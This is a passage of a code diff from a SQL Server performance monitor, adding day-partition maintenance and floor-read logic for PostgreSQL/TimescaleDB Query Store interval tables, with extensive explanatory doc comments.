+        return new QueryStoreIntervalPartitions.StepResult(
+            lockSkipped > 0 ? QueryStoreIntervalPartitions.StepOutcome.RetryLater : QueryStoreIntervalPartitions.StepOutcome.NothingToDo,
+            detail);
+    }
+
+    /// <summary>
+    /// Whether a failed summarize means the index was dropped under it: the error is the one <c>brin_summarize_range</c> raises for
+    /// a missing index (XX000, or 42P01 from a name that no longer resolves) AND the index no longer resolves. Any other error, or
+    /// an XX000 for an index that is still there, is a real fault and is rethrown (#5594 round 2 L2).
+    /// </summary>
+    internal static bool IsDroppedIndexError(string? sqlState, bool indexStillExists) =>
+        !indexStillExists
+        && (sqlState == PostgresErrorCodes.InternalError || sqlState == PostgresErrorCodes.UndefinedTable);
+
+    private static async Task<bool> IndexExistsAsync(NpgsqlConnection connection, string index, CancellationToken cancellationToken)
+    {
+        await using var command = new NpgsqlCommand("SELECT to_regclass($1) IS NOT NULL", connection) { CommandTimeout = CatalogReadTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = index });
+        return (bool)(await command.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false))!;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalLatest.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalLatest.cs
index 3c4d8c66bd..dcf6a95f55 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalLatest.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalLatest.cs
@@ -327,37 +327,32 @@ LEFT JOIN collect.query_store_interval_latest_coverage AS c
   ON c.server_id = $1;";
 
     /// <summary>
-    /// The floors, from TimescaleDB's catalog (metadata, never a scan): raw's oldest chunk (NULL when raw is not a
-    /// hypertable, which the rule reads as "raw holds everything"), and the table's, when the table is one. A
-    /// chunk's <c>range_start</c> is at or below its oldest row, so both err toward raw. <c>AT TIME ZONE 'UTC'</c>
-    /// collapses the catalog's <c>timestamptz</c> to the store's naive-UTC discipline, as DarlingRetention does.
+    /// Raw's floor, from TimescaleDB's catalog (metadata, never a scan): its oldest chunk (NULL when raw is not a
+    /// hypertable, which the rule reads as "raw holds everything"). A chunk's <c>range_start</c> is at or below its
+    /// oldest row, so a low <c>R</c> errs toward raw. <c>AT TIME ZONE 'UTC'</c> collapses the catalog's
+    /// <c>timestamptz</c> to the store's naive-UTC discipline, as DarlingRetention does. The TABLE's floor is never
+    /// read from the catalog (#5541): neither interval table is a hypertable in production (retention purges both with
+    /// a sliced DELETE), and a chunk's <c>range_start</c> would sit far below the real floor anyway, because a DELETE
+    /// leaves emptied chunks listed, so a catalog <c>H</c> would move the rule toward the table, not toward raw.
     /// </summary>
-    public const string ChunkFloorsSql = @"
+    public const string RawChunkFloorSql = @"
 SELECT
-    (
-        SELECT
-            MIN(ch.range_start) AT TIME ZONE 'UTC'
-        FROM timescaledb_information.chunks AS ch
-        WHERE ch.hypertable_schema = 'collect'
-        AND   ch.hypertable_name = 'query_store_stats'
-    ) AS raw_floor,
-    EXISTS
-    (
-        SELECT
-            1
-        FROM timescaledb_information.hypertables AS h
-        WHERE h.hypertable_schema = 'collect'
-        AND   h.hypertable_name = 'query_store_interval_latest'
-    ) AS table_is_hypertable,
-    (
-        SELECT
-            MIN(ch.range_start) AT TIME ZONE 'UTC'
-        FROM timescaledb_information.chunks AS ch
-        WHERE ch.hypertable_schema = 'collect'
-        AND   ch.hypertable_name = 'query_store_interval_latest'
-    ) AS table_floor;";
+    MIN(ch.range_start) AT TIME ZONE 'UTC' AS raw_floor
+FROM timescaledb_information.chunks AS ch
+WHERE ch.hypertable_schema = 'collect'
+AND   ch.hypertable_name = 'query_store_stats';";
 
-    /// <summary>The table's floor for one server where the table is a plain heap: its oldest interval.</summary>
+    /// <summary>
+    /// The table's floor <c>H</c> for one server: its oldest interval. Always this read (#5541), whether or not the
+    /// table is ever converted to a hypertable, because it is exact: the purge deletes oldest first on
+    /// <c>first_execution_time</c>, so every deleted row is below the remaining minimum.
+    /// <b>Cost after a drain (#5581):</b> the table is partitioned by day since #5571, so this MIN runs over each
+    /// partition's index. The dead entries are in the legacy table and the DEFAULT partition, the only places rows
+    /// are deleted one by one (a whole expired day is dropped, indexes and all). Right after a large row delete
+    /// the read makes a heap fetch for every dead entry vacuum has not removed and no read has marked yet. The
+    /// retention pass runs this constant once per server after such a delete (<c>QueryStoreIntervalFloorWarmUp</c>),
+    /// so a user's first read does not pay it; it executes this constant, never a copy.
+    /// </summary>
     public const string PlainTableFloorSql = @"
 SELECT
     MIN(t.first_execution_time)
@@ -370,10 +365,19 @@ FROM collect.query_store_interval_latest AS t
     /// <item><c>F</c> exists: this build has claimed coverage for the server.</item>
     /// <item><c>F &lt;= max(R, B)</c>: the table holds every snapshot the raw read would read (it reads
     /// <c>collection_time &gt;= max(R, B)</c>), and may hold more, which is the ruled window extension.</item>
-    /// <item><c>R &gt;= H</c> or <c>B &gt;= H</c>: raw holds no history the table has dropped, or every interval the
-    /// window needs starts inside the table (<c>B</c> is the window minus a day, and an interval spans at most a
-    /// day). A NULL <c>H</c> means the table holds nothing for the server, and then clause 2 already says raw holds
-    /// nothing in the window either.</item>
+    /// <item><c>R &gt;= H + <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/></c> or <c>B &gt;= H</c>: raw holds no
+    /// snapshot of an interval the table has dropped, or every interval the window needs starts inside the table
+    /// (<c>B</c> is the window minus a day, and an interval spans at most a day). The margin is there because the two
+    /// purge on different columns (#5541): raw drops a snapshot by <c>collection_time</c>, the table drops an interval
+    /// by <c>first_execution_time</c>, and a snapshot can be collected up to one interval length plus the collector's
+    /// lag after its interval began. So with <c>R</c> only at or above <c>H</c>, raw can still hold a snapshot of an
+    /// interval that began below <c>H</c> and that the table dropped; <c>R</c> a full margin above <c>H</c> rules that
+    /// out (same bound as the Wide gate's below-floor edge). The <c>B &gt;= H</c> arm needs no margin here, unlike the
+    /// Wide gate's twin: this rule's raw read also filters <c>last_execution_time &gt;= $2</c>, which keeps every
+    /// interval it counts at <c>first_execution_time &gt;= B</c> (an interval spans at most a day), so an interval
+    /// the table purged (first execution below <c>H</c>) is below <c>B</c> and raw never counts it either. The Wide raw
+    /// read filters <c>collection_time</c> only. A NULL <c>H</c> means the table holds nothing for the
+    /// server, and then clause 2 already says raw holds nothing in the window either.</item>
     /// <item>No pending batch: a batch that stored raw but missed the table is not in the claim.</item>
     /// </list>
     /// A NULL <c>R</c> is raw with no chunk floor (a plain store, whose raw keeps 30 days): minus infinity, which can
@@ -397,7 +401,7 @@ public static bool UseTable(DateTime? filledSince, bool hasPending, DateTime? ra
             return true;
         }
 
-        return (rawFloor is DateTime floor && floor >= h) || rawBound >= h;
+        return (rawFloor is DateTime floor && floor >= h + QueryStoreIntervalWide.PurgeEdgeMargin) || rawBound >= h;
     }
 
     /// <summary>
@@ -434,21 +438,15 @@ public static async Task<bool> ReadsTableAsync(
             }
 
             DateTime? rawFloor = null;
-            DateTime? tableFloor = null;
-            var tableIsHypertable = false;
             if (hasTimescale)
             {
-                await using var floors = new NpgsqlCommand(ChunkFloorsSql, connection) { CommandTimeout = commandTimeoutSeconds };
-                await using var reader = await floors.ExecuteReaderAsync(cancellationToken);
-                await reader.ReadAsync(cancellationToken);
-                rawFloor = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
-                tableIsHypertable = reader.GetBoolean(1);
-                tableFloor = reader.IsDBNull(2) ? null : reader.GetDateTime(2);
+                await using var floors = new NpgsqlCommand(RawChunkFloorSql, connection) { CommandTimeout = commandTimeoutSeconds };
+                rawFloor = await floors.ExecuteScalarAsync(cancellationToken) as DateTime?;
             }
 
-            if (!tableIsHypertable)
+            DateTime? tableFloor;
+            await using (var plain = new NpgsqlCommand(PlainTableFloorSql, connection) { CommandTimeout = commandTimeoutSeconds })
             {
-                await using var plain = new NpgsqlCommand(PlainTableFloorSql, connection) { CommandTimeout = commandTimeoutSeconds };
                 plain.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
                 tableFloor = await plain.ExecuteScalarAsync(cancellationToken) as DateTime?;
             }
@@ -466,6 +464,53 @@ public static async Task<bool> ReadsTableAsync(
         }
     }
 
+    /// <summary>
+    /// The built days of the PLAN_REGRESSION window for one server (#5448), or none when the read fails. It runs
+    /// <see cref="PlanRegressionDaily.BuiltDaysSql"/> ($1 server_id, $2 the window floor); <paramref name="isExpectedAbandon"/> is
+    /// the pass's abandon filter, so a cancelled or shut-down pass is not swallowed here.
+    ///
+    /// <para><b>Why this is not a caveat.</b> A failure answers "none built", and the fact then runs the exact-bound read,
+    /// the shipped one, which finds everything the daily totals would have. The failure costs the speedup, not the
+    /// finding, so it is logged here, at Warning, and recorded nowhere else: a stored caveat would tell a user the
+    /// regression check is missing data when it is not. If the exact read also fails, that read's own catch records the
+    /// failure, once. It sits beside <see cref="ReadsTableAsync"/> for the same reason: the fact collectors' census
+    /// requires every swallowing catch there to record a failure, which is right for a read that leaves a fact empty and
+    /// wrong for one that falls back to a read that is whole.</para>
+    /// </summary>
+    public static async Task<List<DateOnly>> ReadBuiltDaysAsync(
+        NpgsqlConnection connection,
+        NpgsqlTransaction? transaction,
+        int serverId,
+        DateTime windowFloor,
+        int commandTimeoutSeconds,
+        ILogger? logger,
+        Func<Exception, bool> isExpectedAbandon,
+        CancellationToken cancellationToken)
+    {
+        var days = new List<DateOnly>();
+        try
+        {
+            await using var cmd = new NpgsqlCommand(PlanRegressionDaily.BuiltDaysSql, connection, transaction) { CommandTimeout = commandTimeoutSeconds };
+            cmd.Parameters.AddWithValue(serverId);
+            cmd.Parameters.AddWithValue(NpgsqlDbType.Timestamp, windowFloor);
+            await using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                days.Add(reader.GetFieldValue<DateOnly>(0));
+            }
+
+            return days;
+        }
+        catch (Exception ex) when (!isExpectedAbandon(ex))
+        {
+            logger?.LogWarning(
+                ex,
+                "PLAN_REGRESSION built-days read failed for server {ServerId}; reading the interval table on its exact bounds",
+                serverId);
+            return new List<DateOnly>();
+        }
+    }
+
     private readonly ConcurrentDictionary<int, byte> _coverageEnsured = new();
     private readonly ConcurrentDictionary<int, DateTime> _gapCheckedAt = new();
     private readonly ILogger? _logger;
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalPartitions.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalPartitions.cs
new file mode 100644
index 0000000000..fb1a8faaa6
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalPartitions.cs
@@ -0,0 +1,1683 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The background steps behind the day-partitioned Query Store interval tables (#5571): arm, validate and promote the
+/// legacy table, create the day partitions ahead of the clock (draining DEFAULT as each is created), drop the expired
+/// ones, and ANALYZE the parent. The migration rungs (V171 wide, V172 latest) only RENAME each table to <c>X_legacy</c>,
+/// create the partitioned parent <c>X</c> and attach the legacy table as <c>MINVALUE..MAXVALUE</c>: they copy no data and
+/// scan nothing. Everything that needs a heap read or a wait is done here instead, in short transactions under a 5 s
+/// <c>lock_timeout</c>, so no step can hold a collector's upsert for longer than that.
+///
+/// <para><b>Why the legacy table is bounded before it can be dropped.</b> A partition can only be dropped as a whole.
+/// The legacy table holds up to 9 (wide) or 15 (latest) days of rows and rows keep landing in it until a day partition
+/// takes over. So <see cref="ArmAsync"/> adds <c>CHECK (first_execution_time &lt; S) NOT VALID</c> (a brief lock; every
+/// new row is checked from then on, so the table stops growing past S),
+/// <see cref="ValidateAsync"/> proves the old rows (a heap read under <c>SHARE UPDATE EXCLUSIVE</c>, which blocks no
+/// upsert), and <see cref="PromoteAsync"/> re-attaches legacy as <c>MINVALUE..S</c> in one millisecond-long
+/// transaction. The valid CHECK plus the column's NOT NULL imply the new partition constraint, so the re-attach scans
+/// nothing. A row at or after S that arrives before promotion is refused (23514); the collector's pending path holds it
+/// and replays it after promotion (the pending horizon is the table's horizon, so nothing is lost).</para>
+///
+/// <para><b>Why a CHECK never refuses a current row (#5571 review H1).</b> Until the table is promoted the CHECK is a
+/// wall at S, and S is 24 to 48 h away when it is armed. So two loops keep S ahead of the clock. The hourly convergence
+/// step (<see cref="ConvergeUnpromotedAsync"/>, on the sweep loop, bounded by 5 s lock waits) arms when there is no CHECK,
+/// tries one promote of a valid CHECK, and re-arms (valid or not, a valid one costs a new VALIDATE) when the table is
+/// still not promoted and S is closer than <see cref="ReArmWithin"/>. The background loop
+/// (<see cref="RunDelayedAsync(NpgsqlDataSource, ILogger, TimeSpan, IReadOnlyList{QueryStoreBackgroundIndexes.IndexSpec}, CancellationToken)"/>,
+/// off the sweep loop, every hour until shutdown) does the long work: a VALIDATE, which never starts when S is closer than
+/// <see cref="ValidateGuard"/> (it re-arms first), and the promotion retries. S is the later of <see cref="ArmBound"/> and
+/// the day after the legacy table's newest first_execution_time, read under the arm's own lock through the legacy
+/// first-execution index (and once before the lock, to refuse a far-future row without it: #5589); a maximum more than one retention horizon past the normal S is not armed over (see
+/// <see cref="IsLegacyMaxBeyondHorizon"/>: the table stays unpartitioned, with one warning, until that row is gone). A
+/// VALIDATE that fails with 23514 drops its CHECK and logs that newest time; when the time could be read the same
+/// background pass arms again with a later S, and when it could not the next pass does. No day partition is created below S (<see cref="CreateAheadDays"/> starts at the newest upper bound,
+/// which is S while only the legacy table bounds it), and the legacy table is dropped only when S is at or below the cutoff.</para>
+///
+/// <para><b>Locks.</b> Arm: first an unlocked read of the legacy maximum, which returns not-ready for a row beyond the
+/// horizon without any lock request (a request for ACCESS EXCLUSIVE cancels a running autovacuum, and a stuck table would
+/// ask hourly: #5589); then ACCESS EXCLUSIVE on legacy for the ADD CONSTRAINT, 5 s lock_timeout, 55P03 retried three
+/// times 30 s apart. Validate: SHARE UPDATE EXCLUSIVE on legacy (upserts and reads continue), lock_timeout 5 s, a
+/// 7200 s command deadline. Promote: ACCESS EXCLUSIVE on the parent for the DETACH, ATTACH and the CREATEs, held for
+/// milliseconds plus a lock wait of 5 s at most. Create-ahead: SHARE UPDATE EXCLUSIVE on the parent and ACCESS
+/// EXCLUSIVE on DEFAULT and on the new table, for the drain and the attach. Drop: ACCESS EXCLUSIVE on the parent for
+/// the DROP. A lock timeout is never an error: the step returns <see cref="StepOutcome.RetryLater"/>.</para>
+///
+/// <para><b>Whole-table identity.</b> The upsert's identity includes <c>first_execution_time</c>, and no ON CONFLICT
+/// update assigns it, so a row never changes partition. A day's rows are in exactly one partition, so the parent's
+/// unique index is a real uniqueness proof. A <c>ctid</c> repeats across partitions, so any
+/// <c>DELETE ... WHERE ctid IN (SELECT ctid ...)</c> must name <c>X_legacy</c>, never the parent.</para>
+///
+/// <para><b>Precision.</b> The key is a naive-UTC <c>timestamp</c>. FROM is inclusive and TO exclusive, so
+/// 23:59:59.999999 is in day d and 00:00:00 is in day d+1, with no tie. Every bound written here is a whole day, so
+/// no microsecond is ever lost to a literal.</para>
+/// </summary>
+public static class QueryStoreIntervalPartitions
+{
+    /// <summary>How far ahead of the clock the day partitions are created (today plus this many days).</summary>
+    public const int DaysAhead = 3;
+
+    /// <summary>The Phase A arm, S = this many whole days after today's UTC midnight.</summary>
+    public const int ArmDays = 2;
+
+    /// <summary>Re-arm a CHECK that is still not valid once S is closer than this.</summary>
+    public static readonly TimeSpan ReArmWithin = TimeSpan.FromHours(12);
+
+    /// <summary>The lock wait of every DDL step, in seconds.</summary>
+    public const int LockTimeoutSeconds = 5;
+
+    /// <summary>How many times an arm that hit a lock timeout is retried, and how far apart.</summary>
+    public const int ArmRetries = 3;
+
+    /// <summary>The delay between those retries.</summary>
+    public static readonly TimeSpan ArmRetryDelay = TimeSpan.FromSeconds(30);
+
+    /// <summary>How many times <see cref="RunPromotionAsync"/> retries a promotion that hit a lock timeout, and how far apart.</summary>
+    public const int PromoteRetries = 5;
+
+    /// <summary>The delay between those retries.</summary>
+    public static readonly TimeSpan PromoteRetryDelay = TimeSpan.FromSeconds(60);
+
+    /// <summary>The validate's command deadline (a heap read of the legacy table), in seconds.</summary>
+    public const int ValidateTimeoutSeconds = 7200;
+
+    /// <summary>Deadline for the catalog reads and the short DDL, in seconds.</summary>
+    public const int ShortTimeoutSeconds = 60;
+
+    /// <summary>Deadline for moving one day's rows out of DEFAULT, in seconds (normally no rows).</summary>
+    public const int DrainTimeoutSeconds = 600;
+
+    /// <summary>Deadline for an ANALYZE of the parent, in seconds.</summary>
+    public const int AnalyzeTimeoutSeconds = 1800;
+
+    /// <summary>How long a parent's statistics are kept before <see cref="AnalyzeIfDueAsync"/> refreshes them.</summary>
+    public static readonly TimeSpan AnalyzeEvery = TimeSpan.FromHours(24);
+
+    /// <summary>
+    /// A VALIDATE never starts when S is closer than this: its deadline plus <see cref="ReArmWithin"/> (14 h). A VALIDATE
+    /// that starts is then over before the re-arm window opens, so no hourly convergence pass ever queues its ACCESS
+    /// EXCLUSIVE lock behind a running VALIDATE (which stalls the upserts for the whole lock wait), and the re-arm that has
+    /// to follow a failed one is not racing S (#5571 review H1, round 2 L1).
+    /// </summary>
+    public static readonly TimeSpan ValidateGuard = TimeSpan.FromSeconds(ValidateTimeoutSeconds) + ReArmWithin;
+
+    /// <summary>How often the background loop runs Phase A again (and the daily ANALYZE check) until shutdown.</summary>
+    public static readonly TimeSpan BackgroundInterval = TimeSpan.FromHours(1);
+
+    /// <summary><c>statement_timeout</c>, in seconds, of the read of the legacy table's newest first_execution_time.</summary>
+    public const int LegacyMaxTimeoutSeconds = 5;
+
+    /// <summary>The first PostgreSQL major version whose <c>ANALYZE ONLY</c> leaves the partitions of a partitioned table alone.</summary>
+    public const int AnalyzeOnlyMajorVersion = 18;
+
+    /// <summary>What a step did.</summary>
+    public enum StepOutcome
+    {
+        /// <summary>The step ran and changed (or proved) something.</summary>
+        Done,
+
+        /// <summary>There was nothing to do: the step's goal already held.</summary>
+        NothingToDo,
+
+        /// <summary>A lock wait timed out (55P03); not an error, run the step again later.</summary>
+        RetryLater,
+
+        /// <summary>A precondition failed and the step rolled back and logged (a parent index without a legacy child).</summary>
+        Refused,
+
+        /// <summary>The store is not in a state the step applies to (no partitioned parent yet, or not promoted yet).</summary>
+        NotReady,
+
+        /// <summary>A VALIDATE was not started because S is too close for it to finish safely; arm again with a later S first.</summary>
+        ReArmFirst,
+    }
+
+    /// <summary>A step's outcome, a line for the log or a test, and a count (days created, partitions dropped, rows drained).</summary>
+    public readonly record struct StepResult(StepOutcome Outcome, string Detail, int Count = 0);
+
+    /// <summary>One partitioned interval table.</summary>
+    /// <param name="Name">The table's name inside <c>collect</c>.</param>
+    /// <param name="HorizonDays">How many days of <c>first_execution_time</c> the table keeps (the retention horizon).</param>
+    public sealed record IntervalTable(string Name, int HorizonDays)
+    {
+        /// <summary>The schema every interval table is in.</summary>
+        public const string Schema = "collect";
+
+        /// <summary>The parent, schema-qualified.</summary>
+        public string Parent => $"{Schema}.{Name}";
+
+        /// <summary>The renamed pre-partitioning table.</summary>
+        public string Legacy => $"{Schema}.{Name}_legacy";
+
+        /// <summary>The DEFAULT partition.</summary>
+        public string Default => $"{Schema}.{Name}_default";
+
+        /// <summary>The legacy table's btree on <c>(first_execution_time)</c>, which answers its newest row in one index probe.</summary>
+        public string LegacyFirstExecIndex => $"{Schema}.idx_{Name}_first_exec_legacy";
+
+        /// <summary>The NOT VALID CHECK that bounds the legacy table.</summary>
+        public string CheckName => $"ck_{Name}_legacy_before";
+
+        /// <summary>The day partition's schema-qualified name for the day starting at <paramref name="day"/>.</summary>
+        public string DayPartition(DateTime day) => $"{Schema}.{Name}_p{day:yyyyMMdd}";
+    }
+
+    /// <summary>
+    /// The wide table's retention horizon in days: the ONE constant behind the partition maintenance (<see cref="Wide"/>), the
+    /// purge and the wide read's floor (<c>DarlingRetention.QueryStoreIntervalWideRetentionDays</c>), and the compose rollup's floor
+    /// (<see cref="QueryStoreComposeStamp.FloorHour"/>, #5582): a rollup hour must not outlive, or start below, what the table keeps.
+    /// </summary>
+    public const int WideHorizonDays = 9;
+
+    /// <summary>The wide table (<see cref="WideHorizonDays"/> days).</summary>
+    public static readonly IntervalTable Wide = new("query_store_interval_wide", WideHorizonDays);
+
+    /// <summary>The latest-snapshot table (15 days).</summary>
+    public static readonly IntervalTable Latest = new("query_store_interval_latest", 15);
+
+    /// <summary>Both tables, in the order the background steps run them.</summary>
+    public static readonly IReadOnlyList<IntervalTable> All = new[] { Wide, Latest };
+
+    /// <summary>
+    /// What the catalogs say about one table. <see cref="Promoted"/> means the parent is partitioned and the legacy table,
+    /// if it still exists, is bounded.
+    /// </summary>
+    public sealed record PartitionState(
+        char? ParentKind,
+        bool LegacyExists,
+        bool CheckPresent,
+        bool CheckValid,
+        DateTime? CheckBound,
+        bool LegacyUnbounded,
+        DateTime? LegacyUpper,
+        bool DefaultExists)
+    {
+        /// <summary>True when the parent is a partitioned table (relkind <c>p</c>).</summary>
+        public bool ParentIsPartitioned => ParentKind == 'p';
+
+        /// <summary>True when the parent is partitioned and no unbounded legacy partition is left under it.</summary>
+        public bool Promoted => ParentIsPartitioned && !LegacyUnbounded;
+    }
+
+    /// <summary>One partition read from the catalog.</summary>
+    /// <param name="Name">The schema-qualified name.</param>
+    /// <param name="IsDefault">True for the DEFAULT partition.</param>
+    /// <param name="Lower">The inclusive lower bound; null for MINVALUE and for DEFAULT.</param>
+    /// <param name="Upper">The exclusive upper bound; null for MAXVALUE and for DEFAULT.</param>
+    /// <param name="UpperUnbounded">True when the upper bound is MAXVALUE.</param>
+    public sealed record PartitionInfo(string Name, bool IsDefault, DateTime? Lower, DateTime? Upper, bool UpperUnbounded);
+
+    // ---------------------------------------------------------------------------------------------------------------
+    // Pure helpers (no connection): the arm bound, the bound parsers, the days to create, the partitions to drop.
+    // ---------------------------------------------------------------------------------------------------------------
+
+    private static readonly string[] TimestampFormats =
+    {
+        "yyyy-MM-dd HH:mm:ss",
+        "yyyy-MM-dd HH:mm:ss.f",
+        "yyyy-MM-dd HH:mm:ss.ff",
+        "yyyy-MM-dd HH:mm:ss.fff",
+        "yyyy-MM-dd HH:mm:ss.ffff",
+        "yyyy-MM-dd HH:mm:ss.fffff",
+        "yyyy-MM-dd HH:mm:ss.ffffff",
+    };
+
+    private static readonly Regex CheckBoundPattern = new(
+        @"first_execution_time\s*<\s*'(?<ts>[^']+)'",
+        RegexOptions.CultureInvariant | RegexOptions.Compiled);
+
+    private static readonly Regex RangeBoundPattern = new(
+        @"^FOR VALUES FROM \((?:MINVALUE|'(?<lo>[^']+)')\) TO \((?:MAXVALUE|'(?<hi>[^']+)')\)$",
+        RegexOptions.CultureInvariant | RegexOptions.Compiled);
+
+    /// <summary>A date at midnight with no kind, the form a naive-UTC <c>timestamp</c> has when Npgsql reads it.</summary>
+    public static DateTime DayStart(DateTime value) => DateTime.SpecifyKind(value.Date, DateTimeKind.Unspecified);
+
+    /// <summary>S: today's UTC midnight plus <see cref="ArmDays"/> days.</summary>
+    public static DateTime ArmBound(DateTime utcNow) => DayStart(utcNow).AddDays(ArmDays);
+
+    /// <summary>The expiry cutoff: a partition whose upper bound is at or before this holds only expired rows.</summary>
+    public static DateTime Cutoff(DateTime utcNow, int horizonDays) =>
+        DateTime.SpecifyKind(utcNow, DateTimeKind.Unspecified).AddDays(-horizonDays);
+
+    /// <summary>The CHECK's S read back from <c>pg_get_constraintdef</c> text, or false when it has none.</summary>
+    public static bool TryParseCheckBound(string? constraintDefinition, out DateTime bound)
+    {
+        bound = default;
+        if (string.IsNullOrEmpty(constraintDefinition))
+        {
+            return false;
+        }
+
+        var match = CheckBoundPattern.Match(constraintDefinition);
+        return match.Success && TryParseTimestamp(match.Groups["ts"].Value, out bound);
+    }
+
+    /// <summary>
+    /// A partition bound read from <c>pg_get_expr(relpartbound, oid)</c>: <c>DEFAULT</c>, or
+    /// <c>FOR VALUES FROM (MINVALUE|'ts') TO (MAXVALUE|'ts')</c>. False for text this code did not write.
+    /// </summary>
+    public static bool TryParsePartitionBound(
+        string? boundExpression, out bool isDefault, out DateTime? lower, out DateTime? upper, out bool upperUnbounded)
+    {
+        isDefault = false;
+        lower = null;
+        upper = null;
+        upperUnbounded = false;
+        if (string.IsNullOrEmpty(boundExpression))
+        {
+            return false;
+        }
+
+        if (string.Equals(boundExpression, "DEFAULT", StringComparison.Ordinal))
+        {
+            isDefault = true;
+            return true;
+        }
+
+        var match = RangeBoundPattern.Match(boundExpression);
+        if (!match.Success)
+        {
+            return false;
+        }
+
+        if (match.Groups["lo"].Success)
+        {
+            if (!TryParseTimestamp(match.Groups["lo"].Value, out var parsedLower))
+            {
+                return false;
+            }
+
+            lower = parsedLower;
+        }
+
+        if (match.Groups["hi"].Success)
+        {
+            if (!TryParseTimestamp(match.Groups["hi"].Value, out var parsedUpper))
+            {
+                return false;
+            }
+
+            upper = parsedUpper;
+        }
+        else
+        {
+            upperUnbounded = true;
+        }
+
+        return true;
+    }
+
+    private static bool TryParseTimestamp(string text, out DateTime value) =>
+        DateTime.TryParseExact(text, TimestampFormats, CultureInfo.InvariantCulture, DateTimeStyles.None, out value);
+
+    /// <summary>A timestamp literal. Every bound written by this class is a whole day, so seconds are enough.</summary>
+    internal static string Literal(DateTime day) => day.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    /// <summary>
+    /// Whether an armed CHECK should be dropped and added again with a new S: its S is closer than
+    /// <see cref="ReArmWithin"/>. It applies to a valid CHECK as well, once the table could not be promoted in time: until
+    /// the table is promoted the CHECK is the only thing between a current row and a refusal (#5571 review H1).
+    /// </summary>
+    public static bool ShouldReArm(DateTime checkBound, DateTime utcNow) =>
+        checkBound - DateTime.SpecifyKind(utcNow, DateTimeKind.Unspecified) < ReArmWithin;
+
+    /// <summary>Whether a VALIDATE may start: S is at least <see cref="ValidateGuard"/> away.</summary>
+    public static bool CanStartValidate(DateTime checkBound, DateTime utcNow) =>
+        checkBound - DateTime.SpecifyKind(utcNow, DateTimeKind.Unspecified) >= ValidateGuard;
+
+    /// <summary>
+    /// The bound S to arm: <see cref="ArmBound"/>, or the day after the legacy table's newest first_execution_time when
+    /// that is later (a monitored clock ahead of the store's put a row there; with the normal S the VALIDATE would fail
+    /// on it). No day partition is ever created below S, so a later S only lets the legacy table keep the rows up to it.
+    /// A maximum too close to the end of <see cref="DateTime"/> to add a day to is ignored.
+    /// </summary>
+    public static DateTime ArmBoundFor(DateTime utcNow, DateTime? legacyMax)
+    {
+        var normal = ArmBound(utcNow);
+        if (!legacyMax.HasValue || legacyMax.Value > DateTime.MaxValue.AddDays(-ArmDays - 1))
+        {
+            return normal;
+        }
+
+        var afterMax = DayStart(legacyMax.Value).AddDays(1);
+        return afterMax > normal ? afterMax : normal;
+    }
+
+    /// <summary>
+    /// Whether the legacy table's newest first_execution_time is too far ahead to arm over: S would land more than one
+    /// retention horizon (<paramref name="horizonDays"/>) past the normal bound, or the maximum is so close to the end of
+    /// <see cref="DateTime"/> that <see cref="ArmBoundFor"/> ignores it (the CHECK could then never validate). A
+    /// promoted table is never re-armed, so one such row would keep every new row in the legacy table for as long as it
+    /// is dated ahead, and deleting it afterwards would not help. The arm waits until the row is gone instead
+    /// (#5571 review round 2 M1). A maximum inside the horizon is armed over, with S the day after it. The arm checks this
+    /// before it takes the ACCESS EXCLUSIVE lock as well as under it (#5589): a later row only moves the maximum later, so
+    /// a verdict without the lock holds under it, and the hourly retry of a stuck table does not cancel autovacuum.
+    /// </summary>
+    public static bool IsLegacyMaxBeyondHorizon(DateTime utcNow, DateTime? legacyMax, int horizonDays)
+    {
+        if (!legacyMax.HasValue)
+        {
+            return false;
+        }
+
+        return legacyMax.Value > DateTime.MaxValue.AddDays(-ArmDays - 1)
+            || ArmBoundFor(utcNow, legacyMax) > ArmBound(utcNow).AddDays(horizonDays);
+    }
+
+    /// <summary>The table name and maximum last warned about by <see cref="ArmCoreAsync"/> (a row dated too far ahead), so the hourly pass logs it once per start and again only when the maximum changes.</summary>
+    private static readonly ConcurrentDictionary<string, DateTime> FarFutureMaxWarned = new(StringComparer.Ordinal);
+
+    /// <summary>Forget what was warned about; for tests only.</summary>
+    internal static void ResetFarFutureMaxWarnings() => FarFutureMaxWarned.Clear();
+
+    /// <summary>
+    /// The day partitions the promotion creates: every day from S through today plus <see cref="DaysAhead"/>, with no
+    /// holes. Empty when S is already past that.
+    /// </summary>
+    public static IReadOnlyList<DateTime> PromotionDays(DateTime s, DateTime utcNow) => DaysBetween(s, DayStart(utcNow).AddDays(DaysAhead));
+
+    /// <summary>
+    /// The days the create-ahead step adds: from the newest partition's upper bound through today plus
+    /// <see cref="DaysAhead"/>, with no holes, so a catch-up row after an outage never falls into DEFAULT. Days older than
+    /// the horizon are not created (the next drop would remove them at once).
+    /// </summary>
+    public static IReadOnlyList<DateTime> CreateAheadDays(DateTime? newestUpper, DateTime utcNow, int horizonDays)
+    {
+        var today = DayStart(utcNow);
+        var floor = DayStart(Cutoff(utcNow, horizonDays));
+        var start = newestUpper.HasValue ? DayStart(newestUpper.Value) : today;
+        if (start < floor)
+        {
